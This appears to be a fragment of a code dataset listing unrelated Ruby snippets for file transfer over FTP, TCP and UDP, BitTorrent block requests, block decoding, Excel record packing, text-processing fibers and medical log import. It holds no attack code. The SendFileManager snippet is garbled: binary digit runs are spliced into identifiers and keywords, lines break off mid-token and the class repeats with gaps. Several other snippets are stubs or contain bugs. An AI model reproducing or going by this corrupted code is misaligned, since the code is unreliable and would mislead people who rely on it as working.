enc.blocks.length\n\t\t\tif nd == 0\n\t\t\t\t# Got them all, discard\n\t\t\telsif nd == 1\n\t\t\t\t# new single block\n\t\t\t\tadd_single_block(enc)\n\t\t\telse\n\t\t\t\t# add to the pile of unknowns\n\t\t\t\t@encoded << enc\n\t\t\tend\n\t\tend\n\tend", "def process_blocks(blocks); end", "def save chunk_nr, io\n\t\t\t# retrieve data from io and compare sig \n\t\tend", "def doing_raw_file_to_verified_unique_researches # adjustable line length filter\n consumer = Fiber.new do |producer, queue|\n a = File.read(\"../../Documents/20111224-research.txt\")\n\t new = a.to_textual\n#TODO finishe\t \n @megadata = a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n @megadata_unique = @megadata.uniq\n f = open(\"./tmp/database_doings/doing_uniques/uniques_done.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n #IO.foreach(\"./tmp/database_doings/doing_uniques/uniques_todo.txt\") do |line|\n queue = \"\"\n puts queue\n @megadata_unique.each do |line|\n sequence_text = line.to_textual.de_comma\n if sequence_text.length < 50 # adjustable\n puts \"line ignored due to length\"\n elsif Sequence.find_by_sequence_text(sequence_text)\n puts \"line ignored as it is already in database : \" + \"#{sequence_text}\"\n else\n sequence_creation = sequence_text.de_space unless nil\n sequence_complete = sequence_text.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze unless nil\n description = \"research\"\n reference = \"literoti\"\n anagram = 0\n name = 0\n phrase = 0\n research = 1\n external = 0\n internal = 0\n created_at = \"2011-12-21 12:12:00\"\n #line = \"#{sequence_text}\\n\"\n line = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{created_at}\\n\"\n queue << line\n break unless line\n consumer.transfer queue\n queue.clear\n end\n end\n end\n raise StopIteration\n end", "def process(decoded_block)\n\t\t# filter them to where they need to go\n\t\tif decoded_block.blocks.length == 1\n\t\t\tadd_single_block(decoded_block)\n\t\telse\n\t\t\tadd_multi_block(decoded_block)\n\t\tend\n\t\tdecode if (@count % (@max_block/10)) == 0\n\t\t@count +=1\n\tend", "def storbinary(cmd, file, blocksize, rest_offset = nil, &block) # :yield: data\n if rest_offset\n file.seek(rest_offset, IO::SEEK_SET)\n end\n synchronize do\n voidcmd(\"TYPE I\")\n conn = transfercmd(cmd, rest_offset)\n loop do\n buf = file.read(blocksize)\n break if buf == nil\n conn.write(buf)\n yield(buf) if block\n end\n conn.close # closes the SSL\n conn.io.close # closes the TCP below it\n voidresp\n end\n end", "def pack\n packed_count = 0\n count.times do |i|\n @file.pos = @record_offset + @record_size*i\n data = @file.read(@record_size)\n unless data[0, 1]=='*'\n if i!=packed_count\n @file.pos = @record_offset + @record_size*packed_count\n @file.write data\n end\n packed_count += 1\n end\n end\n\n file_end = @record_offset + @record_size*packed_count\n @file.pos = file_end\n @file.write \"\\x1a\"\n @file.truncate file_end+1\n\n self.count = packed_count\n update_header\n end", "def request_packet\n @piece_index.each_with_index do |e, index|\n download_block(index) if e\n end\n end", "def process_file(zos, fn_encoding, use_conv, output_format)\n file_now = @file_list[0]\n bukas_req(file_now[1]) do |res|\n if @conn_closed\n end_download\n zip_end zos\n elsif $ready_to_down and @read_to_down_check != file_now[3]\n zos.put_next_entry(encode_str(\"下線維修中,請稍後再繼續下載(中斷處為最後下載中的一話or集)\"))\n zos.puts \"下線維修中,請稍後再繼續下載(中斷處為最後下載中的一話or集)\"\n zip_end zos\n elsif res\n $logger.info \"#{@client_id} - Saving file - #{file_now[2]} - #{file_now[0]}\"\n zos.put_next_entry(\"#{encode_str(file_now[0], fn_encoding, use_conv)}.#{output_format}\")\n res = res[64..-1]\n w, h, d = case output_format\n when \"webp\"\n [-1, -1, res]\n when \"png\"\n WebP.decodeRGBA(res)\n else # jpg (RGB) is default\n WebP.decodeRGB(res)\n end\n if d.empty?\n #process_file(zos, fn_encoding, use_conv, output_format)\n $logger.info \"#{@client_id} - bukas wrong! - webp decoding failed - #{file_now[1]}\"\n zos.put_next_entry(\"Something Wrong!!!\")\n zos.puts \"Something Wrong!!!\"\n zip_end zos\n else\n zos.puts case output_format\n when \"webp\"\n d\n when \"png\"\n PNG.encodePNG(w, h, d)\n else # jpg is default\n JPEG.encodeJPEG(w, h, d)\n end\n @read_to_down_check = file_now[3]\n @file_list.shift\n if @file_list.empty?\n $logger.info \"#{@client_id} - Download finished!\"\n zip_end zos\n else\n process_file(zos, fn_encoding, use_conv, output_format)\n end\n end\n else\n $logger.info \"#{@client_id} - bukas wrong! - no data - #{file_now[1]}\"\n zos.put_next_entry(\"Something Wrong!!!\")\n zos.puts \"Something Wrong!!!\"\n zip_end zos\n end\n end\n end", "def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if sd\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @h000000000000000000000000000000000000000000010111000110111101eader_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @hea\n def send_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if file.eof?\n package_header = file.eof? ? header(file.size, \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n el000000000000000000000000000000000000000000010111000110111101se\n send_file(file_name, file_size)\n return false\n end \n end\n \n def wait_sd message OOB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name,en(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each000000000000000000000000000000000000000000010111000110111101 do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = package_header + package_data\n send_size += @address? @socket.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message =s = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_positi000000010111000110111101ackages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.send(package_header + package_data, 0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n 000000010111000110111101'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signaze\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end\n\n def send000000000000000000000000000000000000000000010111000110111101_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if fi \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfull_name, file_size)\n return false\n end \n end\n \n def wait_signal_int send_size\n Signal.trap(:INT) do\n puts 'Send message O000000000000000000000000000000000000000000010111000110111101OB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name, file_position, numbers_downloaded_packages=[]\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_ file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header000000000000000000000000000000000000000000010111000110111101 = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = packet.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_position, numbers_downloaded_packages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 000000000000000000000000000000000000000000010111000110111101 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = firs_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.sende_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downl000000000000000000000000000000000000000000010111000110111101oaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend", "def encode_block(state, buf)\n\t\tbuf\n\tend", "def add_multi_block(block)\n\t\t\t@encoded << block\n\tend", "def readUbcsatAndWriteToDB(ubcsat_output_file, algorun_config_id, host)\n \n ############### READ FILE.\n content=\"\"\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n \tcontent = ubcsat.gets(nil)\n }\n# puts ubcsat_output_file\n# puts content\n \n\n ############### Put the output file into the DB.\n# add_ubcsat_output_cmd = \"insert into FH_OUTPUT (OUTPUT_TEXT) values (\\\"#{content}\\\")\"\n# ubcsat_output_id = execute_cmd_with_quotes_one_autoincrement(add_ubcsat_output_cmd, false)\n\tubcsat_output_id = -1\n \n \n ############### Parse output and write runs to DB.\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n mysql_cmds = []\n \trun=1;\n \twhile line = ubcsat.gets\n \tnext if line =~ /#/\n \tif line =~ /\\d+\\s+(\\d+)\\s+(\\d+)\\s+(\\d)+\\s+(\\d+)\\s+(\\d+)\\s+(#{float_regexp})/\n \t#=== Read run output from UBCSAT. (run number not recorded)\n \tfound = $1.to_i\n \t\tseed = $2.to_i\n \t\tbest_sol = $3.to_i\n \t\tbest_length = $4.to_i\n \t\tmeasured_runlength = $5.to_i\n \t\tmeasured_runtime = $6.to_f\n \n \t\t#=== Put the run into the DB.\n# \t\tputs line\n require \"dbi_ils_accessor.rb\"\n\t\t\twriteResultToDB(algorun_config_id, seed, measured_runtime, measured_runlength, best_sol, best_length, \"#{found ==1 ? 'SAT' : 'TIMEOUT'}\", ubcsat_output_id, host)\n\n# \t\tmysql_cmd = \"insert into FH_ALGORUN VALUES(#{algorun_config_id}, #{seed}, #{measured_runtime}, #{measured_runlength}, #{best_sol}, #{best_length}, '#{found ==1 ? 'SAT' : 'TIMEOUT'}', now(), #{ubcsat_output_id}, '#{host}');\"\n# \t\tputs \"MySQLCommand: #{mysql_cmd}\"\n#\t\t\tmysql_cmds << mysql_cmd\n #\t\t\t\texecute_cmd(mysql_cmd, false)\n \n#\t\t\tif run.modulo(100)==0\n#\t\t\t execute_cmds(mysql_cmds)\n#\t\t\t execute_cmd(mysql_cmds.join(\"\\n\"), false)\n#\t\t\t mysql_cmds = []\n#\t\t\tend\n\t\t run = run+1\n \tend\n end\n# \tputs mysql_cmds\n raise \"No such file or directory : No UBCSAT run output exists in file #{ubcsat_output_file} - see output id #{ubcsat_output_id}\" unless run > 1\n# execute_cmd(mysql_cmds.join(\"\\n\"), false)\n# execute_cmds(mysql_cmds)\n }\n return true\nend", "def fibering_files_lines_output\n# include ApplicationHelper # uncomment for console use\n# require './lib/sequencerings/textualfibers.rb' # uncomment for console use\n# include Textualfibers # uncomment for console use\n consumer = Fiber.new do |producer, queue|\n f = File.open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f|\n queue = \"linezero\"\n loop do\n queue = producer.transfer(consumer, queue)\n break unless queue\n f.puts << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n queue = \"firststring\"\n puts queue\n open(\"./tmp/insert_research_lines.txt\", \"r\") do |f|\n #open(\"./tmp/insert_research_lines-02.txt\", \"r\") do |f|\n #open(\"./lib/databasers/fibered_files_input.txt\", \"r\") do |f|\n f.each do |line|\n sequence_text = line.to_textual.de_comma \n sequence_creation = sequence_text.to_textual.de_comma.de_space\n sequence_complete = sequence_text.to_textual.de_comma.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze\n description = \"research materials\"\n reference = \"net\"\n anagram = 0\n name = 0\n phrase = 0\n research = 1\n external = 0\n internal = 0\n queue = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{Time.now}\"\n break unless f\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end\n end\n consumer.transfer(producer, [])\n after_break\n end", "def store_txo_continue_2(formats) #:nodoc:\n # Pack the record.\n data = ''\n\n formats.each do |a_ref|\n data += [a_ref[0], a_ref[1], 0x0].pack('vvV')\n end\n\n record = 0x003C # Record identifier\n length = data.bytesize\n header = [record, length].pack(\"vv\")\n\n append(header, data)\n end", "def store_txo_continue_2(formats) #:nodoc:\n record = 0x003C # Record identifier\n length = 0x0000 # Bytes to follow\n\n # Pack the record.\n data = ''\n\n formats.each do |a_ref|\n data = data + [a_ref[0], a_ref[1], 0x0].pack('vvV')\n end\n\n length = data.length\n header = [record, length].pack(\"vv\")\n\n append(header, data)\n end", "def storlines(cmd, file, &block) # :yield: line\n synchronize do\n voidcmd(\"TYPE A\")\n conn = transfercmd(cmd)\n loop do\n buf = file.gets\n break if buf == nil\n if buf[-2, 2] != CRLF\n buf = buf.chomp + CRLF\n end\n conn.write(buf)\n yield(buf) if block\n end\n conn.close # closes the SSL\n conn.io.close # closes the TCP below it\n voidresp\n end\n end", "def encode_chunk(chunk); end", "def send(chunk)\n insertStmts = Array.new\n deleteStmts = Array.new\n \n columns = nil\n chunk.msgpack_each { |tag, time, data|\n tag_parts = tag.match(@tag_format)\n target_event = tag_parts['event']\n id_key = tag_parts['primary_key']\n \n keys = Array.new\n values = Array.new\n data = @format_proc.call(data)\n data.keys.sort.each do |key|\n keys << key\n values << data[key].to_json\n end\n \n if (target_event=='insert')\n if columns.to_s.empty?\n columns = \"(#{keys.join(\",\")})\"\n end\n insertStmts.push(\"(#{values.join(\",\")})\")\n elsif (target_event=='update')\n pkey=\"\"\n updates = Array.new\n keys.zip(values) { |key, value|\n if (key==id_key)\n pkey = getPkeyValue(value)\n else\n updates.push(\"#{key}=#{value}\")\n end \n }\n sendStmt = \"UPDATE #{table} SET #{updates.join(\",\")} WHERE #{id_key}=#{pkey}\"\n sendBO(@bo_url, sendStmt) \n elsif (target_event=='delete')\n keys.zip(values) { |key, value|\n if (key==id_key)\n pkey = getPkeyValue(value)\n end\n deleteStmts.push(\"#{id_key}=#{pkey}\")\n }\n end\n }\n \n if insertStmts.length>0\n sendStmt = \"INSERT INTO #{@table} #{columns} VALUES \" + insertStmts.join(\",\")\n sendBO(@bo_url, sendStmt)\n @log.debug(\"sending #{insertStmts.length} rows to bigobject for insert via Restful API\")\n end \n \n if deleteStmts.length>0\n sendStmt = \"DELETE FROM #{@table} WHERE \" + deleteStmts.join(\" or \")\n sendBO(@bo_url, sendStmt)\n @log.debug(\"sending #{deleteStmts.length} rows to bigobject for delete via Restful API\")\n end\n end", "def doing_textuals\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/insert_internals.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n f.puts << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n list = File.readlines(file_name)\n list = File.readlines(\"./lib/anagrams/anagrams_table_data.txt\")\n #list = File.readlines(\"./lib/anagrams/anagrams_table_data.txt\")\n full_list = list.sort_by { |x| x.downcase }\n #b = IO.readlines(file_name)\n #b = IO.readlines(ARGV)\n #b = IO.readlines(\"./lib/the_input.txt\")\n loop do\n while a = full_list.shift\n queue = a.to_textual unless nil\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end\n end\n consumer.transfer(producer, [])\n after_break\n end", "def doing_verified_unique_researches # adjustable line length filter\n consumer = Fiber.new do |producer, queue|\n a = File.readlines(\"./tmp/insert_researches.txt\")\n @megadata = a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n @megadata_unique = @megadata.uniq\n f = open(\"./tmp/database_doings/doing_uniques/uniques_done.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n #IO.foreach(\"./tmp/database_doings/doing_uniques/uniques_todo.txt\") do |line|\n queue = \"\"\n puts queue\n @megadata_unique.each do |line|\n sequence_text = line.to_textual.de_comma\n if sequence_text.length < 52 # adjustable\n puts \"line ignored due to length\"\n elsif Sequence.find_by_sequence_text(sequence_text)\n puts \"line ignored as it is already in database : \" + \"#{sequence_text}\"\n else\n sequence_creation = sequence_text.de_space unless nil\n sequence_complete = sequence_text.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze unless nil\n description = \"research\"\n reference = \"literoti\"\n anagram = 0\n name = 0\n phrase = 0\n research = 1\n external = 0\n internal = 0\n created_at = \"2011-12-21 12:12:00\"\n #line = \"#{sequence_text}\\n\"\n line = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{created_at}\\n\"\n queue << line\n break unless line\n consumer.transfer queue\n queue.clear\n end\n end\n end\n raise StopIteration\n end", "def flush() end", "def flush() end", "def flush() end", "def batch_create\n uploaded_io = params[:coPilotFile].tempfile\n uploaded_io.set_encoding('iso-8859-1:utf-8')\n\n #Skip a line\n line = uploaded_io.gets\n #event_type = EventType.find(1)\n\n ActiveRecord::Base.transaction do\n while (line = uploaded_io.gets)\n fields = line.split(\"\\t\")\n timestamp = Time.at(convert_excel_timestamp(fields[0]))\n value = -1\n event_type = -1\n should_insert = true;\n comment = fields[36]\n\n if fields[2] == '1'\n #BG reading\n value = Float(fields[11])\n event_type = 1\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n\n elsif fields[2] == '2' && (fields[10] == '0' || fields[10] == '1')\n if fields[26].index(\"Pod activated\") != nil\n #New Pod activated\n value = 0.0\n event_type = 5\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => \"New Pod Activated\")\n else\n #Basal Rate change\n value = Float(fields[20])\n event_type = 2\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n end\n\n elsif fields[2] == '3' && (fields[10] == '0' || fields[10] == '1')\n #Bolus Intake\n value = Float(fields[20])\n event_type = 3\n comment = (fields[27] + \"<br/>\" + fields[36])\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n\n elsif fields[2] == '5'\n #food intake\n value = Float(fields[21])\n event_type = 4\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n end\n end\n end\n\n redirect_to :controller => 'pages', :action => 'home' and return\n end", "def download_block tf, peer, piece, block\n payload = \"#{piece.index}#{block.offset}#{[TorrentFile::REQUEST_LENGTH].pack(\"N*\")}\"\n request = \"#{[1 + payload.bytesize].pack(\"N\")}#{[6].pack(\"C\")}#{payload}\"\n\n peer.socket.write request\n\n puts \"Requested Piece #{piece.index_10} block #{block.index}\"\n\n loop do\n begin\n length = peer.socket.recv(4) # 4 bytes for length of message\n length = length.unpack1 \"N\"\n\n next unless length # nil\n\n # 1 byte for message id\n # length += 1 # ???\n puts \"Received length:\\t#{length.inspect}\"\n\n # keep alive\n if length == 0\n peer.socket.write [0].pack(\"N\")\n\n next\n end\n\n result = peer.socket.read_with_timeout(length, 8)\n\n message = Message.new length, result\n\n # puts message.inspect\n\n case message.name\n when 'piece'\n piece_idx = message.index\n block_idx = TorrentFile::Block.find_index(message.offset)\n\n tf.pieces[piece_idx].blocks[block_idx].receive(message.data)\n # puts block.inspect\n\n unless block.have\n block.invalidate!\n end\n\n return\n end\n rescue RuntimeError => e\n puts e.message\n block.invalidate!\n return\n end\n end\nend", "def add_single_block(block)\n\n\t\tif @decoded[block.blocks[0]].nil? \n\t\t \t@decoded[block.blocks[0]] = block.data \n\t\t\t@num_valid += 1\n\t\tend\n\tend", "def import\n fragments.each(&:destroy)\n File.open(bin_file_name, \"rb\") do |f|\n order = 0\n new_lines = 0\n until f.eof?\n new_lines += import_next_object(f, order)\n order += 1\n end\n update! lines: new_lines\n end\n add_locations\n end", "def run_specs\n packet = '*' * 1000\n @write_io.write(\"#{packet.bytesize}\\n#{packet}\")\nend", "def flush\n if @carry_over\n @contents['info']['pieces'] << Digest::SHA1.digest( @carry_over )\n end\n unless @contents['creation date']\n @contents['creation date'] = Time.now.tv_sec\n end\n @io << @contents.bencode\n @io.flush\n self\n end", "def decode_new_multi(block)\n\t\t\n\t\tnot_found = []\n\t\tblock.blocks.each do |bl_id|\n\t\t\tif @decoded[bl_id].nil?\n\t\t\t\tnot_found << bl_id\n\t\t\telse\n\t\t\t\tblock.data ^= @decoded[bl_id]\n\t\t\tend\n\t\tend\n\t\tblock.blocks = not_found\n\t\treturn block\n\tend", "def make(packetid)\ncase (packetid)\nwhen 1\nload 'func/packets/login.rb'\nwhen 2\nload 'func/packets/handshake.rb'\nwhen 13\nload 'func/packets/ppal.rb'\n else\n puts packetid\n\n \nend\nend", "def ascii(type)\n if type == \"products\"\n store_to_file \"\\n _ _ \"\n store_to_file \" | | | | \"\n store_to_file \" _ __ _ __ ___ __| |_ _ ___| |_ ___ \"\n store_to_file \"| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\"\n store_to_file \"| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\"\n store_to_file \"| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\"\n store_to_file \"| | \"\n store_to_file \"|_| \\n\\n \"\n elsif type == \"brands\"\n store_to_file \"\\n _ _ \"\n store_to_file \"| | | | \"\n store_to_file \"| |__ _ __ __ _ _ __ __| |___ \"\n store_to_file \"| '_ \\\\| '__/ _` | '_ \\\\ / _` / __|\"\n store_to_file \"| |_) | | | (_| | | | | (_| \\\\__ \\\\\"\n store_to_file \"|_.__/|_| \\\\__,_|_| |_|\\\\__,_|___/\\n\\n\"\n elsif type == \"sales\"\n store_to_file \"\\n _ _ \"\n store_to_file \" | | | | \"\n store_to_file \" ___ __ _| | ___ ___ _ __ ___ _ __ ___ _ __| |_ \"\n store_to_file \"/ __|/ _` | |/ _ \\\\/ __| | '__/ _ \\\\ '_ \\\\ / _ \\\\| '__| __| \"\n store_to_file \"\\\\__ \\\\ (_| | | __/\\\\__ \\\\ | | | __/ |_) | (_) | | | |_ \"\n store_to_file \"|___/\\\\__,_|_|\\\\___||___/ |_| \\\\___| .__/ \\\\___/|_| \\\\__| \"\n store_to_file \" | | \"\n store_to_file \" |_|\\n\\n\"\n end\nend", "def decode_file\n # Open 'encoded' to read from\n File.open(\"encoded_#{original_datei}\",'r') { |fr|\n # Open 'decoded' to write to\n File.open(\"decoded_#{original_datei}\",'w') { |fw|\n fr.each_byte { |byte|\n # \"decode\" each byte and write to 'decoded'\n fw << encode(byte, -schluessel).chr\n }\n }\n }\n\n end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def doing_by_line_length\n consumer = Fiber.new do |producer, queue|\n #f = open(\"./lib/fiber_output.txt\", \"a\") do |f|\n #f = open(\"./lib/files_to_textual/fibering_files_output.txt\", \"a\") do |f|\n #f = open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f|\n #f = open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f| \n f = open(\"./lib/databasers/fibering_files_output.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n #puts queue\n #puts \"queue : \" + \"#{queue}\"\n #puts queue\n #puts queue.to_s\n #puts queue.to_s.chomp\n #puts queue.to_s.strip\n #puts queue.to_s.strip.downcase\n #puts queue.to_s.strip.downcase.to_textual\n var << queue.to_s.chomp.to_textual\n puts f << var\n #puts f << queue << var\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n a = File.read(file_name) do |a|\n b = a.to_textual\n loop do\n while value = b.shift\n queue << value\n end\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end\n end\n consumer.transfer(producer, [])\n after_break\n end", "def encode_begin(state)\n @dictionary = state.buf.split(//).sort.uniq.shuffle.join\n end", "def run (hdin)\n i = 0;\n dups = 0;\n puts \"Reading from #{hdin.path}\";\n\n # Opens temporary loadfile. Overwrites existing file.\n @loadfiles.values.each do |hdout|\n hdout.open('w');\n end\n\n # Open infile and process line.\n hdin.open('r').file.each_line do |line|\n i += 1;\n\n # Skip stuff that doesn't look like json.\n if !line.start_with?('{') then\n STDERR.puts \"Skipping line: #{line}\";\n next;\n # For testing purposes.\n # elsif i > 2000 then\n # puts \"ok we are done here\";\n # break;\n elsif i % 1000 == 0 then\n puts \"#{i} ...\";\n end\n\n # gd_id is the id used as primary key in hathi_gd\n # and foreign key in all other tables, connecting the snowflake.\n gd_id = nil;\n item_id = nil;\n line_hash = JSON.parse(line);\n\n # The file where the data originally came from, not the file currently being read.\n infile = line_hash['infile'];\n file_id = get_infile_id(infile);\n # We don't want to include lineno or mongo_id in digest, so we delete them from the hash.\n lineno = line_hash.delete('lineno');\n mongo_id = line_hash.delete('mongo_id');\n # hashsum goes in hathi_gd to make sure we don't put total dups in there.\n hashsum = @sha_digester.hexdigest(line_hash.to_json);\n\n # Not all records have a record id.\n rec_id = 'N/A';\n if !line_hash['record_id'].nil? then\n rec_id = 